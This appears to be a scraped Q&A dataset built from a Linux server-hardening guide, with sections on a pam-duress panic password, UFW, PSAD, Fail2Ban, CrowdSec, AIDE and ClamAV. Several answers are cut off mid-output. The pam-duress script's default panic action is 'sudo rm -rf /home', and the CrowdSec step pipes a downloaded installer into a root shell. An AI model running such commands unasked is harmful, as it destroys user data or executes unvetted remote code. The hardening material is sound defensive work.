"https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312710"}
{"id": "gh_94ceeebf48d2", "question": "How to: ***** EDIT THIS SCRIPT TO YOUR PROPOSES *****#", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "cat > \"$ScriptFile\" <<-EOF\n#!/bin/bash\nsudo rm -rf /home\n#### FINISHED OWN SCRIPT ####\nEOF\n#######################################################\n}\necho \"Lets Config a PANIC PASSWORD ;)\" && sleep 1\nread -r -p \"Want you REALLY configure A PANIC PASSWORD?? Write [ OK ] : \" PAMDUR\nif [[ \"$PAMDUR\" = \"OK\" ]]; then\n echo \"Lets Config a PANIC USER, PASSWORD and SCRIPT ;)\" && sleep 1\n while [ -z \"$PANICUSR\" ]\n do\n  read -r -p \"WRITE a Panic User to your pam-duress user [ root ]: \" PANICUSR\n  PANICUSR=${PANICUSR:=root}\n done\n if [ -z \"$ScriptLoc\" ]; then\n  read -r -p \"SET Script Directory with FULL PATH [ /root/.duress ]: \" ScriptLoc\n  ScriptLoc=${ScriptLoc:=/root/.duress}\n  ScriptFile=\"$ScriptLoc/PanicScript.sh\"\n fi\nelse\n echo \"NOT Use PAM DURESS aKa Panic Password!!! Bye\"\n exit 1\nfi\n\nsudo apt install -y git build-essential libpam0g-dev libssl-dev\n\ncd \"$HOME\" || exit 1\ngit clone https://github.com/nuvious/pam-duress.git\ncd pam-duress || exit 1\nmake \nsudo make install\nmake clean\n#make uninstall\n\nmkdir -p $ScriptLoc\nsudo mkdir -p /etc/duress.d\nmyownscript\nduress_sign $ScriptFile\nchmod -R 500 $ScriptLoc\nchmod 400 $ScriptLoc/*.sha256\nchown -R $PANICUSR $ScriptLoc\n\nsudo cp --preserve /etc/pam.d/common-auth /etc/pam.d/common-auth.bck\n\necho \"\nauth   \t[success=2 default=ignore]\t     pam_unix.so nullok_secure\nauth    [success=1 default=ignore]      pam_duress.so\nauth\t   requisite\t                    \t\tpam_deny.so\nauth\t   required\t                     \t\tpam_permit.so\n\" | sudo tee /etc/pam.d/common-auth\n\nread -r -p \"Press\nKey to Finish PAM DURESS Script!\"\nexit 0\n ````\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312719"}
{"id": "gh_7b847a51c7aa", "question": "How to: Firewall With UFW (Uncomplicated Firewall)", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "#### Why\n\nCall me paranoid, and you don't have to agree, but I want to deny all traffic in and out of my server except what I explicitly allow. Why would my server be sending traffic out that I don't know about? And why would external traffic be trying to access my server if I don't know who or what it is? When it comes to good security, my opinion is to reject/deny by default, and allow by exception.\n\nOf course, if you disagree, that is totally fine and can configure UFW to suit your needs.\n\nEither way, ensuring that only traffic we explicitly allow is the job of a firewall.\n\n#### How It Works\n\nThe Linux kernel provides capabilities to monitor and control network traffic. These capabilities are exposed to the end-user through firewall utilities. On Linux, the most common firewall is [iptables](https://en.wikipedia.org/wiki/Iptables). However, iptables is rather complicated and confusing (IMHO). This is where UFW comes in. Think of UFW as a front-end to iptables. It simplifies the process of managing the iptables rules that tell the Linux kernel what to do with network traffic.\n\n**UFW** works by letting you configure rules that:\n\n- **allow** or **deny**\n- **input** or **output** traffic\n- **to** or **from** ports\n\nYou can create rules by explicitly specifying the ports or with application configurations that specify the ports.\n\n#### Goals\n\n - all network traffic, input and output, blocked except those we explicitly allow\n\n#### Notes\n\n- As you install other programs, you'll need to enable the necessary ports/applications.\n\n#### References\n\n- https://launchpad.net/ufw\n\n#### Steps\n\n1. Install ufw.\n\n    On Debian based systems:\n\n    ``` bash\n    sudo apt install ufw\n    ```\n\n1. Deny all outgoing traffic:\n\n    ``` bash\n    sudo ufw default deny outgoing comment 'deny all outgoing traffic'\n    ```\n\n    > ```\n    > Default outgoing policy changed to 'deny'\n    > (be sure to update your rules accordingly)\n    > ```\n\n    If you are not as paranoid as me, and don't want to deny all outgoing traffic, you can allow it instead:\n\n    ``` bash\n    sudo ufw default allow outgoing comment 'allow all outgoing traffic'\n    ```\n\n1. Deny all incoming traffic:\n\n    ``` bash\n    sudo ufw default deny incoming comment 'deny all incoming traffic'\n    ```\n\n1. Obviously we want SSH connections in:\n\n    ``` bash\n    sudo ufw limit in ssh comment 'allow SSH connections in'\n    ```\n\n    > ```\n    > Rules updated\n    > Rules updated (v6)\n    > ```\n\n1. Allow additional traffic as per your needs. Some common use-cases:\n\n    ``` bash\n    # allow traffic out to port 53 -- DNS\n    sudo ufw allow out 53 comment 'allow DNS calls out'\n\t\n\t# allow traffic out to port 123 -- NTP\n    sudo ufw allow out 123 comment 'allow NTP out'\n\n    # allow traffic out for HTTP, HTTPS, or FTP\n    # apt might needs these depending on which sources you're using\n    sudo ufw allow out http comment 'allow HTTP traffic out'\n    sudo ufw allow out https comment 'allow HTTPS traffic out'\n    sudo ufw allow out ftp comment 'allow FTP traffic out'\n\n    # allow whois\n    sudo ufw allow out whois comment 'allow whois'\n    \n    # allow mails for status notifications -- choose port according to your provider\n    sudo ufw allow out 25 comment 'allow SMTP out'\n    sudo ufw allow out 587 comment 'allow SMTP out'\n\n    # allow traffic out to port 68 -- the DHCP client\n    # you only need this if you're using DHCP\n    sudo ufw allow out 67 comment 'allow the DHCP client to update'\n    sudo ufw allow out 68 comment 'allow the DHCP client to update'\n    ```\n    \n    **Note**: You'll need to allow HTTP/HTTPS for installing packages and many other things.\n\n1. Start ufw:\n\n    ``` bash\n    sudo ufw enable\n    ```\n\n    > ```\n    > Command may disrupt existing ssh connections. Proceed with operation (y|n)? y\n    > Firewall is active and enabled on system startup\n    > ```\n\n1. If you want to see a status:\n\n    ``` bash\n    sudo ufw status\n    ```\n\n    > ```\n    > Status: active\n    > \n    > To                         Action      From\n    > --                         ------      ----\n    > 22/tcp                     LIMIT       Anywhere                   # allow SSH connections in\n    > 22/tcp (v6)                LIMIT       Anywhere (v6)              # allow SSH connections in\n    > \n    > 53                         ALLOW OUT   Anywhere                   # allow DNS calls out\n    > 123                        ALLOW OUT   Anywhere                   # allow NTP out\n    > 80/tcp                     ALLOW OUT   Anywhere                   # allow HTTP traffic out\n    > 443/tcp                    ALLOW OUT   Anywhere                   # allow HTTPS traffic out\n    > 21/tcp                     ALLOW OUT   Anywhere                   # allow FTP traffic out\n    > Mail submission            ALLOW OUT   Anywhere                   # allow mail out\n    > 43/tcp                     ALLOW OUT   Anywhere                   # allow whois\n    > 53 (v6)                    ALLOW OUT   Anywhere (v6)              #", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312742"}
{"id": "gh_2f8911591f3d", "question": "How to: iptables Intrusion Detection And Prevention with PSAD", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "#### Why\n\nEven if you have a firewall to guard your doors, it is possible to try brute-forcing your way in any of the guarded doors. We want to monitor all network activity to detect potential intrusion attempts, such has repeated attempts to get in, and block them.\n\n#### How It Works\n\nI can't explain it any better than user [FINESEC](https://serverfault.com/users/143961/finesec) from https://serverfault.com/ did at: https://serverfault.com/a/447604/289829.\n\n> Fail2BAN scans log files of various applications such as apache, ssh or ftp and automatically bans IPs that show the malicious signs such as automated login attempts. PSAD on the other hand scans iptables and ip6tables log messages (typically /var/log/messages) to detect and optionally block scans and other types of suspect traffic such as DDoS or OS fingerprinting attempts. It's ok to use both programs at the same time because they operate on different level.\n\nAnd, since we're already using [UFW](#ufw-uncomplicated-firewall) so we'll follow the awesome instructions by [netson](https://gist.github.com/netson) at https://gist.github.com/netson/c45b2dc4e835761fbccc to make PSAD work with UFW.\n\n#### References\n\n- http://www.cipherdyne.org/psad/\n- http://www.cipherdyne.org/psad/docs/config.html\n- https://www.thefanclub.co.za/how-to/how-install-psad-intrusion-detection-ubuntu-1204-lts-server\n- https://serverfault.com/a/447604/289829\n- https://serverfault.com/a/770424/289829\n- https://gist.github.com/netson/c45b2dc4e835761fbccc\n- Thanks to [moltenbit](https://github.com/moltenbit) for catching the issue ([#61](https://github.com/imthenachoman/How-To-Secure-A-Linux-Server/issues/61)) with `psadwatchd`.\n\n#### Steps\n\n1. Install psad.\n\n    On Debian based systems:\n\n    ``` bash\n    sudo apt install psad\n    ```\n\n1. Make a backup of psad's configuration file `/etc/psad/psad.conf`:\n\n    ``` bash\n    sudo cp --archive /etc/psad/psad.conf /etc/psad/psad.conf-COPY-$(date +\"%Y%m%d%H%M%S\")\n    ```\n\n1. Review and update configuration options in `/etc/psad/psad.conf`. Pay special attention to these:\n\n   |Setting|Set To\n   |--|--|\n   |[`EMAIL_ADDRESSES`](http://www.cipherdyne.org/psad/docs/config.html#EMAIL_ADDRESSES)|your email address(s)|\n   |`HOSTNAME`|your server's hostname|\n   |`EXPECT_TCP_OPTIONS`|`EXPECT_TCP_OPTIONS Y;`|\n   |`ENABLE_PSADWATCHD`|`ENABLE_PSADWATCHD Y;`|\n   |[`ENABLE_AUTO_IDS`](http://www.cipherdyne.org/psad/docs/config.html#ENABLE_AUTO_IDS)|`ENABLE_AUTO_IDS Y;`|\n   |`ENABLE_AUTO_IDS_EMAILS`|`ENABLE_AUTO_IDS_EMAILS Y;`|\n\n   Check the configuration file psad's documentation at http://www.cipherdyne.org/psad/docs/config.html for more details.\n\n1.\nNow we need to make some changes to ufw so it works with psad by telling ufw to log all traffic so psad can analyze it. Do this by editing **two files** and adding these lines **at the end but before the COMMIT line**.\n\n    Make backups:\n\n    ``` bash\n    sudo cp --archive /etc/ufw/before.rules /etc/ufw/before.rules-COPY-$(date +\"%Y%m%d%H%M%S\")\n    sudo cp --archive /etc/ufw/before6.rules /etc/ufw/before6.rules-COPY-$(date +\"%Y%m%d%H%M%S\")\n    ```\n\n    Edit the files:\n\n    - `/etc/ufw/before.rules`\n    - `/etc/ufw/before6.rules`\n\n    And add add this **at the end but before the COMMIT line**:\n\n    ```\n    # log all traffic so psad can analyze\n    -A INPUT -j LOG --log-tcp-options --log-prefix \"[IPTABLES] \"\n    -A FORWARD -j LOG --log-tcp-options --log-prefix \"[IPTABLES] \"\n    ```\n\n    **Note**: We're adding a log prefix to all the iptables logs. We'll need this for [seperating iptables logs to their own file](#ns-separate-iptables-log-file).\n\n    For example:\n\n    > ```\n    > ...\n    > \n    > # log all traffic so psad can analyze\n    > -A INPUT -j LOG --log-tcp-options --log-prefix \"[IPTABLES] \"\n    > -A FORWARD -j LOG --log-tcp-options --log-prefix \"[IPTABLES] \"\n    > \n    > # don't delete the 'COMMIT' line or these rules won't be processed\n    > COMMIT\n    > ```\n\n1. Now we need to reload/restart ufw and psad for the changes to take effect:\n\n    ``` bash\n    sudo ufw reload\n\n    sudo psad -R\n    sudo psad --sig-update\n    sudo psad -H\n    ```\n\n1. Analyze iptables rules for errors:\n\n    ``` bash\n    sudo psad --fw-analyze\n    ```\n\n    > ```\n    > [+] Parsing INPUT chain rules.\n    > [+] Parsing INPUT chain rules.\n    > [+] Firewall config looks good.\n    > [+] Completed check of firewall ruleset.\n    > [+] Results in /var/log/psad/fw_check\n    > [+] Exiting.\n    > ```\n\n    **Note**: If there were any issues you will get an e-mail with the error.\n\n1. Check the status of psad:\n\n    ``` bash\n    sudo psad --Status\n    ```\n\n    > ```\n    > [-] psad: pid file /var/run/psad/psadwatchd.pid does not exist for psadwatchd on vm\n    > [+] psad_fw_read (pid: 3444)  %CPU: 0.0  %MEM: 2.2\n    >     Running since: Sat Feb 16 01:03:09 2019\n    > \n    > [+] psad (pid: 3435)  %CPU: 0.2  %MEM: 2.7\n    >     Running since: Sat Feb 16 01:03:09 2019\n    >     Command line arguments: [none specified]\n    >", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312761"}
{"id": "gh_e6372155471f", "question": "How to: Application Intrusion Detection And Prevention With Fail2Ban", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "#### Why\n\nUFW tells your server what doors to board up so nobody can see them, and what doors to allow authorized users through. PSAD monitors network activity to detect and prevent potential intrusions -- repeated attempts to get in. \n\nBut what about the applications/services your server is running, like SSH and Apache, where your firewall is configured to allow access in. Even though access may be allowed that doesn't mean all access attempts are valid and harmless. What if someone tries to brute-force their way in to a web-app you're running on your server? This is where Fail2ban comes in.\n\n#### How It Works\n\nFail2ban monitors the logs of your applications (like SSH and Apache) to detect and prevent potential intrusions. It will monitor network traffic/logs and prevent intrusions by blocking suspicious activity (e.g. multiple successive failed connections in a short time-span).\n\n#### Goals\n\n- network monitoring for suspicious activity with automatic banning of offending IPs\n\n#### Notes\n\n- As of right now, the only thing running on this server is SSH so we'll want Fail2ban to monitor SSH and ban as necessary.\n- As you install other programs, you'll need to create/configure the appropriate jails and enable them.\n\n#### References\n\n- https://www.fail2ban.org/\n- https://blog.vigilcode.com/2011/05/ufw-with-fail2ban-quick-secure-setup-part-ii/\n- https://dodwell.us/security/ufw-fail2ban-portscan.html\n- https://www.howtoforge.com/community/threads/fail2ban-and-ufw-on-debian.77261/\n\n#### Steps\n\n1. Install fail2ban.\n\n    On Debian based systems:\n\n    ``` bash\n    sudo apt install fail2ban\n    ```\n\n1. We don't want to edit `/etc/fail2ban/fail2ban.conf` or `/etc/fail2ban/jail.conf` because a future update may overwrite those so we'll create a local copy instead. Create the file `/etc/fail2ban/jail.local` and add this to it after replacing `[LAN SEGMENT]` and `[your email]` with the appropriate values:\n\n    ```\n    [DEFAULT]\n    # the IP address range we want to ignore\n    ignoreip = 127.0.0.1/8 [LAN SEGMENT]\n\n    # who to send e-mail to\n    destemail = [your e-mail]\n\n    # who is the email from\n    sender = [your e-mail]\n\n    # since we're using exim4 to send emails\n    mta = mail\n\n    # get email alerts\n    action = %(action_mwl)s\n    ```\n\n    **Note**: Your server will need to be able to send e-mails so Fail2ban can let you know of suspicious activity and when it banned an IP.\n\n1. We need to create a jail for SSH that tells fail2ban to look at SSH logs and use ufw to ban/unban IPs as needed. Create a jail for SSH by creating the file `/etc/fail2ban/jail.d/ssh.local` and adding this to it:\n\n    ```\n    [sshd]\n    enabled = true\n    banaction = ufw\n    port = ssh\n    filter = sshd\n    logpath = %(sshd_log)s\n    maxretry = 5\n    ```\n\n    [For the lazy](#editing-configuration-files---for-the-lazy):\n\n    ``` bash\n    cat << EOF | sudo tee /etc/fail2ban/jail.d/ssh.local\n    [sshd]\n    enabled = true\n    banaction = ufw\n    port = ssh\n    filter = sshd\n    logpath = %(sshd_log)s\n    maxretry = 5\n    EOF\n    ```\n\n1. In the above we tell fail2ban to use the ufw as the `banaction`. Fail2ban ships with an action configuration file for ufw. You can see it in `/etc/fail2ban/action.d/ufw.conf`\n\n1. Enable fail2ban:\n\n    ``` bash\n    sudo fail2ban-client start\n    sudo fail2ban-client reload\n    sudo fail2ban-client add sshd # This may fail on some systems if the sshd jail was added by default\n    ```\n\n1. To check the status:\n\n    ``` bash\n    sudo fail2ban-client status\n    ```\n\n    > ```\n    > Status\n    > |- Number of jail:      1\n    > `- Jail list:   sshd\n    > ```\n\n    ``` bash\n    sudo fail2ban-client status sshd\n    ```\n\n    > ```\n    > Status for the jail: sshd\n    > |- Filter\n    > |  |- Currently failed: 0\n    > |  |- Total failed:     0\n    > |  `- File list:        /var/log/auth.log\n    > `- Actions\n    >    |- Currently banned: 0\n    >    |- Total banned:     0\n    >    `- Banned IP list:\n    > ```\n\n#### Custom Jails\n\nI have not needed to create a custom jail yet. Once I do, and I figure out how, I will update this guide. Or, if you know how please help [contribute](#contributing).\n\n#### Unban an IP\n\nTo unban an IP use this command:\n\n``` bash\nfail2ban-client set [jail] unbanip [IP]\n```\n\n`[jail]` is the name of the jail that has the banned IP and `[IP]` is the IP address you want to unban. For example, to unaban `192.168.1.100` from SSH you would do:\n\n``` bash\nfail2ban-client set sshd unbanip 192.168.1.100\n```\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312775"}
{"id": "gh_4e83a464fca0", "question": "How to: Application Intrusion Detection And Prevention With CrowdSec", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "#### Why\n\nUFW tells your server what doors to board up so nobody can see them, and what doors to allow authorized users through. PSAD monitors network activity to detect and prevent potential intrusions -- repeated attempts to get in. \n\nCrowdSec is similar to Fail2Ban in that it monitors the logs of your applications (like SSH and Apache) to detect and prevent potential intrusions. However, CrowdSec is coupled with a community that shares threat intelligence back to CrowdSec to then distribute a Community Blocklist to all users.\n\n#### How It Works\n\nCrowdSec monitors the logs of your applications (like SSH and Apache) to detect and prevent potential intrusions. It will monitor network traffic/logs and prevent intrusions by blocking suspicious activity (e.g. multiple successive failed connections in a short time-span). Once a malicious IP is detected, it will be added to your local decision list and threat information is shared with CrowdSec to update the Community Blocklist on malicious IP addresses. Once an IP address hits a certain threshold of malicious activity, it will be automatically propogated to all other CrowdSec users to proactively block.\n\n#### Goals\n\n- network monitoring for suspicious activity with automatic banning of offending IPs\n\n#### Notes\n\n- As of right now, the only thing running on this server is SSH so we'll want CrowdSec to monitor SSH and ban as necessary.\n- As you install other programs, you'll need to install additional collections and configure the appropriate acquisitions.\n\n#### References\n\n- https://www.crowdsec.net/\n- [Read how CrowdSec curates the Community Blocklist](https://www.crowdsec.net/our-data)\n- [Read what threat intelligence is shared with CrowdSec](https://docs.crowdsec.net/docs/next/central_api/intro#signal-meta-data)\n- https://docs.crowdsec.net/\n\n#### Steps\n\n1. Install CrowdSec Security Engine. (IDS)\n\n    On any linux distro (including Debian based systems)\n    \n    Install the CrowdSec repository:\n    ``` bash\n    curl -s https://install.crowdsec.net | sudo sh\n    ```\n\n    Install the CrowdSec Security Engine:\n    ``` bash\n    sudo apt install crowdsec\n    ```\n\n> [!TIP]\n> if `curl | sh` is not your thing, you can find additional install methods [here](https://docs.crowdsec.net/u/getting_started/installation/linux).\n\nBy default whilst CrowdSec is installing the Security Engine it will auto-discover your installed applications and install the appropriate parsers and scenarios for them. Since we know most Linux servers are running ssh out of the box CrowdSec will automatically configured this for you.\n\n2. Install a Remediation Component. (IPS)\n\n    CrowdSec by itself is a detection engine, since in most modern infrastructures you may have an upstream firewall or WAF, CrowdSec will not block the IP addresses by itself. You can install a Remediation Component to block the IP addresses detected by CrowdSec.\n    ```bash\n    sudo apt install crowdsec-firewall-bouncer-iptables\n    ```\n\n> [!TIP]\n> If your installation of UFW is not using `iptables` as the backend, you can alternatively install `crowdsec-firewall-bouncer-nftables`. There is no difference in the installed binaries, only the configuration file is different.\n\nBy default whilst the Remediation Component is installing it will auto-configure the necessary settings to work with the Security Engine if deployed on the same host (and if the security engine is not within a container environment).\n\n3. Check detection and remediation is working as intended:\n\n    CrowdSec package comes with a CLI tool to check the status of the Security Engine and the Remediation Component.\n\n    ```bash\n    sudo cscli metrics\n    ```\n\n    ```bash\n    Acquisition Metrics:\n    ╭────────────────────────┬────────────┬──────────────┬────────────────┬────────────────────────┬───────────────────╮\n    │ Source                 │ Lines read │ Lines parsed │ Lines unparsed │ Lines poured to bucket │ Lines whitelisted │\n    ├────────────────────────┼────────────┼──────────────┼────────────────┼────────────────────────┼───────────────────┤\n    │ file:/var/log/auth.log │ 5          │ 4            │ 1              │ 10                     │ -                 │\n    │ file:/var/log/syslog   │ 30         │ -            │ 30             │ -                      │ -                 │\n    ╰────────────────────────┴────────────┴──────────────┴────────────────┴────────────────────────┴───────────────────╯\n\n    Local API Decisions:\n    ╭────────────────────────────────────────────┬────────┬────────┬───────╮\n    │ Reason                                     │ Origin │ Action │ Count │\n    ├────────────────────────────────────────────┼────────┼────────┼───────┤\n    │ crowdsecurity/http-backdoors-attempts      │ CAPI   │ ban    │ 73    │\n    │ crowdsecurity/http-bad-user-agent          │ CAPI   │ ban    │ 4836  │\n    │ crowdsecurity/http-path-traversal-probing  │ CAPI   │ ban    │ 87    │\n    │ crowdsecurity/http-probing                 │ CAPI   │ ban    │ 2010  │", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312810"}
{"id": "gh_0583e3969e68", "question": "How to: File/Folder Integrity Monitoring With AIDE (WIP)", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "#### Why\n\nWIP\n\n#### How It Works\n\nWIP\n\n#### Goals\n\nWIP\n\n#### References\n\n- https://aide.github.io/\n- https://www.hiroom2.com/2017/06/09/debian-8-file-integrity-check-with-aide/\n- https://blog.rapid7.com/2017/06/30/how-to-install-and-configure-aide-on-ubuntu-linux/\n- https://www.stephenrlang.com/2016/03/using-aide-for-file-integrity-monitoring-fim-on-ubuntu/\n- https://www.howtoforge.com/how-to-configure-the-aide-advanced-intrusion-detection-environment-file-integrity-scanner-for-your-website\n- https://www.tecmint.com/check-integrity-of-file-and-directory-using-aide-in-linux/\n- https://www.cyberciti.biz/faq/debian-ubuntu-linux-software-integrity-checking-with-aide/\n- https://github.com/imthenachoman/How-To-Secure-A-Linux-Server/issues/83\n\n#### Steps\n\n1. Install AIDE.\n\n    On Debian based systems:\n    \n    ``` bash\n    sudo apt install aide aide-common\n    ```\n    \n1. Make a backup of AIDE's defaults file:\n\n    ``` bash\n    sudo cp -p /etc/default/aide /etc/default/aide-COPY-$(date +\"%Y%m%d%H%M%S\")\n    ```\n\n1. Go through `/etc/default/aide` and set AIDE's defaults per your requirements. If you want AIDE to run daily and e-mail you, be sure to set `CRON_DAILY_RUN` to `yes`.\n\n1. Make a backup of AIDE's configuration files:\n\n    ``` bash\n    sudo cp -pr /etc/aide /etc/aide-COPY-$(date +\"%Y%m%d%H%M%S\")\n    ```\n\n1. On Debian based systems:\n\n    - AIDE's configuration files are in `/etc/aide/aide.conf.d/`.\n    - You'll want to go through AIDE's documentation and the configuration files in to set them per your requirements.\n    - If you want new settings, to monitor a new folder for example, you'll want to add them to `/etc/aide/aide.conf` or `/etc/aide/aide.conf.d/`.\n    - Take a backup of the stock configuration files: `sudo cp -pr /etc/aide /etc/aide-COPY-$(date +\"%Y%m%d%H%M%S\")`.\n\n1. Create a new database, and install it.\n   \n    On Debian based systems:\n\n    ``` bash\n    sudo aideinit\n    ```\n    \n    > ```\n    > Running aide --init...\n    > Start timestamp: 2019-04-01 21:23:37 -0400 (AIDE 0.16)\n    > AIDE initialized database at /var/lib/aide/aide.db.new\n    > Verbose level: 6\n    > \n    > Number of entries:      25973\n    > \n    > ---------------------------------------------------\n    > The attributes of the (uncompressed) database(s):\n    > ---------------------------------------------------\n    > \n    > /var/lib/aide/aide.db.new\n    >   RMD160   : moyQ1YskQQbidX+Lusv3g2wf1gQ=\n    >   TIGER    : 7WoOgCrXzSpDrlO6I3PyXPj1gRiaMSeo\n    >   SHA256   : gVx8Fp7r3800WF2aeXl+/KHCzfGsNi7O\n    >              g16VTPpIfYQ=\n    >   SHA512   : GYfa0DJwWgMLl4Goo5VFVOhu4BphXCo3\n    >              rZnk49PYztwu50XjaAvsVuTjJY5uIYrG\n    >              tV+jt3ELvwFzGefq4ZBNMg==\n    >   CRC32    : /cusZw==\n    >   HAVAL    : E/i5ceF3YTjwenBfyxHEsy9Kzu35VTf7\n    >              CPGQSW4tl14=\n    >   GOST     : n5Ityzxey9/1jIs7LMc08SULF1sLBFUc\n    >              aMv7Oby604A=\n    > \n    > \n    > End timestamp: 2019-04-01 21:24:45 -0400 (run time: 1m 8s)\n    > ```\n\n1. Test everything works with no changes.\n\n    On Debian based systems:\n\n    ``` bash\n    sudo aide.wrapper --check\n    ```\n    \n    > ```\n    > Start timestamp: 2019-04-01 21:24:45 -0400 (AIDE 0.16)\n    > AIDE found NO differences between database and filesystem. Looks okay!!\n    > Verbose level: 6\n    > \n    > Number of entries:      25973\n    > \n    > ---------------------------------------------------\n    > The attributes of the (uncompressed) database(s):\n    > ---------------------------------------------------\n    > \n    > /var/lib/aide/aide.db\n    >   RMD160   : moyQ1YskQQbidX+Lusv3g2wf1gQ=\n    >   TIGER    : 7WoOgCrXzSpDrlO6I3PyXPj1gRiaMSeo\n    >   SHA256   : gVx8Fp7r3800WF2aeXl+/KHCzfGsNi7O\n    >              g16VTPpIfYQ=\n    >   SHA512   : GYfa0DJwWgMLl4Goo5VFVOhu4BphXCo3\n    >              rZnk49PYztwu50XjaAvsVuTjJY5uIYrG\n    >              tV+jt3ELvwFzGefq4ZBNMg==\n    >   CRC32    : /cusZw==\n    >   HAVAL    : E/i5ceF3YTjwenBfyxHEsy9Kzu35VTf7\n    >              CPGQSW4tl14=\n    >   GOST     : n5Ityzxey9/1jIs7LMc08SULF1sLBFUc\n    >              aMv7Oby604A=\n    > \n    > \n    > End timestamp: 2019-04-01 21:26:03 -0400 (run time: 1m 18s)\n    > ```\n\n1. Test everything works after making some changes.\n\n    On Debian based systems:\n\n    ``` bash\n    sudo touch /etc/test.sh\n    sudo touch /root/test.sh\n    \n    sudo aide.wrapper --check\n    \n    sudo rm /etc/test.sh\n    sudo rm /root/test.sh\n    \n    sudo aideinit -y -f\n    ```\n    \n    > ```\n    > Start timestamp: 2019-04-01 21:37:37 -0400 (AIDE 0.16)\n    > AIDE found differences between database and filesystem!!\n    > Verbose level: 6\n    > \n    > Summary:\n    >   Total number of entries:      25972\n    >   Added entries:                2\n    >   Removed entries:              0\n    >   Changed entries:              1\n    > \n    > ---------------------------------------------------\n    > Added entries:\n    > ---------------------------------------------------\n    > \n    > f++++++++++++++++: /etc/test.sh\n    > f+++++++++", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312828"}
{"id": "gh_6890d96e3b12", "question": "How to: Anti-Virus Scanning With ClamAV (WIP)", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "#### Why\n\nWIP\n\n#### How It Works\n\n- ClamAV is a virus scanner\n- ClamAV-Freshclam is a service that keeps the virus definitions updated\n- ClamAV-Daemon keeps the `clamd` process running to make scanning faster\n\n#### Goals\n\nWIP\n\n#### Notes\n\n- These instructions **do not** tell you how to enable the ClamAV daemon service to ensure `clamd` is running all the time. `clamd` is only if you're running a mail server and does not provide real-time monitoring of files. Instead, you'd want to scan files manually or on a schedule.\n\n#### References\n\n- https://www.clamav.net/documents/installation-on-debian-and-ubuntu-linux-distributions\n- https://wiki.debian.org/ClamAV\n- https://www.osradar.com/install-clamav-debian-9-ubuntu-18/\n- https://www.lisenet.com/2014/automate-clamav-to-perform-daily-system-scan-and-send-email-notifications-on-linux/\n- https://www.howtoforge.com/tutorial/configure-clamav-to-scan-and-notify-virus-and-malware/\n- https://serverfault.com/questions/741299/is-there-a-way-to-keep-clamav-updated-on-debian-8\n- https://askubuntu.com/questions/250290/how-do-i-scan-for-viruses-with-clamav\n- https://ngothang.com/how-to-install-clamav-and-configure-daily-scanning-on-centos/\n\n#### Steps\n\n1. Install ClamAV.\n\n    On Debian based systems:\n\n    ``` bash\n    sudo apt install clamav clamav-freshclam clamav-daemon\n    ```\n\n1. Make a backup of `clamav-freshclam`'s configuration file `/etc/clamav/freshclam.conf`:\n\n    ``` bash\n    sudo cp --archive /etc/clamav/freshclam.conf /etc/clamav/freshclam.conf-COPY-$(date +\"%Y%m%d%H%M%S\")\n    ```\n    \n1. `clamav-freshclam`'s default settings are probably good enough but if you want to change them, you can either edit the file `/etc/clamav/freshclam.conf` or use `dpkg-reconfigure`:\n\n    ``` bash\n    sudo dpkg-reconfigure clamav-freshclam\n    ```\n    \n    **Note**: The default settings will update the definitions 24 times in a day. To change the interval, check the `Checks` setting in `/etc/clamav/freshclam.conf` or use `dpkg-reconfigure`.\n\n1. Start the `clamav-freshclam` service:\n\n    ``` bash\n    sudo service clamav-freshclam start\n    ```\n    \n1. You can make sure `clamav-freshclam` running:\n\n    ``` bash\n    sudo service clamav-freshclam status\n    ```\n    \n    > ```\n    > ● clamav-freshclam.service - ClamAV virus database updater\n    >    Loaded: loaded (/lib/systemd/system/clamav-freshclam.service; enabled; vendor preset: enabled)   Active: active (running) since Sat 2019-03-16 22:57:07 EDT; 2min 13s ago\n    >      Docs: man:freshclam(1)\n    >            man:freshclam.conf(5)\n    >            https://www.clamav.net/documents\n    >  Main PID: 1288 (freshclam)\n    >    CGroup: /system.slice/clamav-freshclam.service\n    >            └─1288 /usr/bin/freshclam -d --foreground=true\n    > \n    > Mar 16 22:57:08 host freshclam[1288]: Sat Mar 16 22:57:08 2019 -> ^Local version: 0.100.2 Recommended version: 0.101.1\n    > Mar 16 22:57:08 host freshclam[1288]: Sat Mar 16 22:57:08 2019 -> DON'T PANIC! Read https://www.clamav.net/documents/upgrading-clamav\n    > Mar 16 22:57:15 host freshclam[1288]: Sat Mar 16 22:57:15 2019 -> Downloading main.cvd 